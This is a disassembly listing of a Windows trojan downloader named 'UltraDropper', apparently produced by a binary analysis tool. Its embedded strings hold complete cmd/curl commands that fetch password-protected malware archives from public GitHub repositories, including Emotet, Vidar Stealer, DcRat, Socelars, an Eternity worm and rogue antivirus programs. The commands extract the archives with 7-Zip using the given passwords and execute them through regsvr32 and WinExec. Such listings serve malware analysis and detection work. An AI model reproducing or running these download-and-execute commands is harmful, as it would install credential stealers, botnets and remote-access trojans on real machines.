Function at 0x401711
Capabilities:
Create directory
Create process on windows
Query environment variable

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push ecx
mov eax, 0x8824
call fcn.00402eb4
sub esp, eax
call sym.___main
mov dword [esp + 0xc], 0x34
mov dword [esp + 8], str.UltraDropper
mov dword [esp + 4], str.Run_UltraDropper__This_system_will_be_infected_by_TONS_of_other_malware_trojans_stealers_rogues_etc..._n_nI_am_NOT_responsible_for_anything._nIf_you_press_yes__this_trojan_downloader_will_run__and_your_system_will_be_left_DESTROYED__n_nOh__by_the_way__you_need_7_Zip_to_be_installed_in__C:Program_Files7_Zip_._n_nContinue__I_do_not_recommend_that_you_run_this_if_this_is_not_an_isolated_computer.
mov dword [esp], 0
mov eax, dword [sym.imp.USER32.dll_MessageBoxA]
call eax
sub esp, 0x10
cmp eax, 7
jne 0x401768
mov eax, 0
jmp 0x401ca4
mov dword [esp + 8], 0x400
lea eax, [ebp - 0x408]
mov dword [esp + 4], eax
mov dword [esp], str.TEMP
mov eax, dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
call eax
sub esp, 0xc
lea eax, [ebp - 0x408]
mov dword [esp + 8], eax
mov dword [esp + 4], str._sultradrp
lea eax, [ebp - 0x808]
mov dword [esp], eax
call sym._sprintf
mov dword [esp + 4], 0
lea eax, [ebp - 0x808]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
call eax
sub esp, 8
lea eax, [ebp - 0x808]
mov dword [esp + 0x10], eax
lea eax, [ebp - 0x408]
mov dword [esp + 0xc], eax
lea eax, [ebp - 0x408]
mov dword [esp + 8], eax
mov dword [esp + 4], str.cmd__c_curl__L__o___sEmotet_Epoch5.zip___https:__github.com_Princekin_malware_database_raw_main_Emotet_Emotet__20_Epoch5___20___2004.11.2022__20.zip____C:Program_Files7_Zip7z.exe__x___sEmotet_Epoch5.zip___p_infected___o__s_
lea eax, [ebp - 0x1008]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0x808]
mov dword [esp + 0x10], eax
lea eax, [ebp - 0x408]
mov dword [esp + 0xc], eax
lea eax, [ebp - 0x408]
mov dword [esp + 8], eax
mov dword [esp + 4], str.cmd__c_curl__L__o___sAntivirusPro2017.zip___https:__github.com_Endermanch_MalwareDatabase_raw_master_rogues_Antivirus__20Pro__202017.zip____C:Program_Files7_Zip7z.exe__x___sAntivirusPro2017.zip___p_mysubsarethebest___o__s_
lea eax, [ebp - 0x1808]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0x808]
mov dword [esp + 0x10], eax
lea eax, [ebp - 0x408]
mov dword [esp + 0xc], eax
lea eax, [ebp - 0x408]
mov dword [esp + 8], eax
mov dword [esp + 4], str.cmd__c_curl__L__o___sAntivirusPlatinum.zip___https:__github.com_Endermanch_MalwareDatabase_raw_master_rogues_Antivirus__20Platinum.zip____C:Program_Files7_Zip7z.exe__x___sAntivirusPlatinum.zip___p_mysubsarethebest___o__s_
lea eax, [ebp - 0x2008]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0x808]
mov dword [esp + 0x10], eax
lea eax, [ebp - 0x408]
mov dword [esp + 0xc], eax
lea eax, [ebp - 0x408]
mov dword [esp + 8], eax
mov dword [esp + 4], str.cmd__c_curl__L__o___sRegistrySmart.zip___https:__github.com_Endermanch_MalwareDatabase_raw_master_rogues_RegistrySmart.zip____C:Program_Files7_Zip7z.exe__x___sRegistrySmart.zip___p_mysubsarethebest___o__s_
lea eax, [ebp - 0x2808]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0x808]
mov dword [esp + 0x10], eax
lea eax, [ebp - 0x408]
mov dword [esp + 0xc], eax
lea eax, [ebp - 0x408]
mov dword [esp + 8], eax
mov dword [esp + 4], str.cmd__c_curl__L__o___s_socelars.zip___https:__github.com_Princekin_malware_database_raw_main_Socelars__20Trojan_Socelars__20___2024.09.2022.zip____C:Program_Files7_Zip7z.exe__x___s_socelars.zip___p_infected___o__s_
lea eax, [ebp - 0x3008]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0x808]
mov dword [esp + 0x10], eax
lea eax, [ebp - 0x408]
mov dword [esp + 0xc], eax
lea eax, [ebp - 0x408]
mov dword [esp + 8], eax
mov dword [esp + 4], str.cmd__c_curl__L__o___seternity.zip___https:__github.com_Princekin_malware_database_raw_main_Eternity__20Project_Eternity__20Worm__20___2009.11.2022.zip____C:Program_Files7_Zip7z.exe__x___seternity.zip___p_infected___o__s_
lea eax, [ebp - 0x3808]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0x808]
mov dword [esp + 0x10], eax
lea eax, [ebp - 0x408]
mov dword [esp + 0xc], eax
lea eax, [ebp - 0x408]
mov dword [esp + 8], eax
mov dword [esp + 4], str.cmd__c_curl__L__o___s_vidar.zip___https:__github.com_Princekin_malware_database_raw_main_Vidar__20Stealer_vidar__20___2004.11.2022.zip____C:Program_Files7_Zip7z.exe__x___s_vidar.zip___p_infected___o__s_
lea eax, [ebp - 0x4008]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0x808]
mov dword [esp + 0x10], eax
lea eax, [ebp - 0x408]
mov dword [esp + 0xc], eax
lea eax, [ebp - 0x408]
mov dword [esp + 8], eax
mov dword [esp + 4], str.cmd__c_curl__L__o___sdc.zip___https:__github.com_Princekin_malware_database_raw_main_DcRat_DcRat__20___2009.10.2022.zip____C:Program_Files7_Zip7z.exe__x___sdc.zip___p_infected___o__s_
lea eax, [ebp - 0x4808]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0x1008]
mov dword [esp], eax
call sym._RunCommand
mov dword [esp + 4], 0xffffffff
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call eax
sub esp, 8
lea eax, [ebp - 0x1808]
mov dword [esp], eax
call sym._RunCommand
mov dword [esp + 4], 0xffffffff
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call eax
sub esp, 8
lea eax, [ebp - 0x2008]
mov dword [esp], eax
call sym._RunCommand
mov dword [esp + 4], 0xffffffff
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call eax
sub esp, 8
lea eax, [ebp - 0x2808]
mov dword [esp], eax
call sym._RunCommand
mov dword [esp + 4], 0xffffffff
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call eax
sub esp, 8
lea eax, [ebp - 0x3008]
mov dword [esp], eax
call sym._RunCommand
mov dword [esp + 4], 0xffffffff
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call eax
sub esp, 8
lea eax, [ebp - 0x3808]
mov dword [esp], eax
call sym._RunCommand
mov dword [esp + 4], 0xffffffff
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call eax
sub esp, 8
lea eax, [ebp - 0x4008]
mov dword [esp], eax
call sym._RunCommand
mov dword [esp + 4], 0xffffffff
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call eax
sub esp, 8
lea eax, [ebp - 0x4808]
mov dword [esp], eax
call sym._RunCommand
mov dword [esp + 4], 0xffffffff
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call eax
sub esp, 8
mov dword [esp + 0xc], 0x34
mov dword [esp + 8], str.UltraDropper
mov dword [esp + 4], str.Trojans_downloaded:_n_nAntivirus_Platinumm__Antivirus_Pro_2017_nRegistrySmart__Emotet__Epoch5_Botnet__nSocelars__Eternity_Project_nVidar_Stealer__DCRat_n_n_nRun_
mov dword [esp], 0
mov eax, dword [sym.imp.USER32.dll_MessageBoxA]
call eax
sub esp, 0x10
cmp eax, 7
jne 0x401ab6
mov eax, 0
jmp 0x401ca4
lea eax, [ebp - 0x808]
mov dword [esp + 8], eax
mov dword [esp + 4], str.cmd__c_regsvr32.exe___semotet.dll_
lea eax, [ebp - 0x5008]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0x808]
mov dword [esp + 8], eax
mov dword [esp + 4], str.cmd__c___sEndermanch_AntivirusPro2017.exe_
lea eax, [ebp - 0x5808]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0x808]
mov dword [esp + 8], eax
mov dword [esp + 4], str.cmd__c___sEndermanch_AntivirusPlatinum.exe_
lea eax, [ebp - 0x6008]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0x808]
mov dword [esp + 8], eax
mov dword [esp + 4], str.cmd__c___sEndermanch_RegistrySmart.exe_
lea eax, [ebp - 0x6808]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0x808]
mov dword [esp + 8], eax
mov dword [esp + 4], str.cmd__c___sInstall.exe_
lea eax, [ebp - 0x7008]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0x808]
mov dword [esp + 8], eax
mov dword [esp + 4], str.cmd__c___sWorm__1_.exe_
lea eax, [ebp - 0x7808]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0x808]
mov dword [esp + 8], eax
mov dword [esp + 4], str.cmd__c___s_setup.exe_
lea eax, [ebp - 0x8008]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0x808]
mov dword [esp + 8], eax
mov dword [esp + 4], str.cmd__c___sGenshin_Impact.exe_
lea eax, [ebp - 0x8808]
mov dword [esp], eax
call sym._sprintf
mov dword [esp + 4], 0
lea eax, [ebp - 0x5008]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_WinExec]
call eax
sub esp, 8
mov dword [esp + 4], 0
lea eax, [ebp - 0x5808]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_WinExec]
call eax
sub esp, 8
mov dword [esp + 4], 0
lea eax, [ebp - 0x6008]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_WinExec]
call eax
sub esp, 8
mov dword [esp + 4], 0
lea eax, [ebp - 0x6808]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_WinExec]
call eax
sub esp, 8
mov dword [esp + 4], 0
lea eax, [ebp - 0x7008]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_WinExec]
call eax
sub esp, 8
mov dword [esp + 4], 0
lea eax, [ebp - 0x7808]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_WinExec]
call eax
sub esp, 8
mov dword [esp + 4], 0
lea eax, [ebp - 0x8008]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_WinExec]
call eax
sub esp, 8
mov dword [esp + 4], 0
lea eax, [ebp - 0x8008]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_WinExec]
call eax
sub esp, 8
mov dword [esp], 0x61a8
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
call eax
sub esp, 4
mov eax, 0
mov ecx, dword [ebp - 4]
leave
lea esp, [ecx - 4]
ret